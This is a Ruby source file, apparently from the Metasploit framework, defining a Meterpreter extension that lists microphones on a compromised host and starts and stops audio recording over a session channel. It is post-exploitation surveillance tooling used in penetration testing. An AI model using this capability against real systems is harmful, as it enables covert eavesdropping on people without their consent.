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# -*- coding: binary -*-
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require 'rex/post/meterpreter/channel'
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require 'rex/post/meterpreter/channels/pools/stream_pool'
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module Rex
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module Post
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module Meterpreter
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module Extensions
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module Stdapi
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module Mic
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###
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#
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# This meterpreter extension can list and capture from microphone
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#
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###
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class Mic
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  def initialize(client)
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    @client = client
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  end
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  def session
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    @client
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  end
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  # List available microphones
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  def mic_list
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    response = client.send_request(Packet.create_request(COMMAND_ID_STDAPI_AUDIO_MIC_LIST))
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    names = []
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    if response.result == 0
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      response.get_tlvs(TLV_TYPE_AUDIO_INTERFACE_NAME).each do |tlv|
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        names << tlv.value
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      end
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    end
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    names
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  end
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  # Starts recording audio from microphone
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  def mic_start(device_id)
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    request = Packet.create_request(COMMAND_ID_STDAPI_AUDIO_MIC_START)
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    request.add_tlv(TLV_TYPE_AUDIO_INTERFACE_ID, device_id)
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    response = client.send_request(request)
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    return nil unless response.result == 0
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    Channel.create(client, 'audio_mic', Rex::Post::Meterpreter::Channels::Pools::StreamPool, CHANNEL_FLAG_SYNCHRONOUS, response)
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  end
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  # Stop recording from microphone
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  def mic_stop
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    client.send_request(Packet.create_request(COMMAND_ID_STDAPI_AUDIO_MIC_STOP))
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    true
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  end
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  attr_accessor :client
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end
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end
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end
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end
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end
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end
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end
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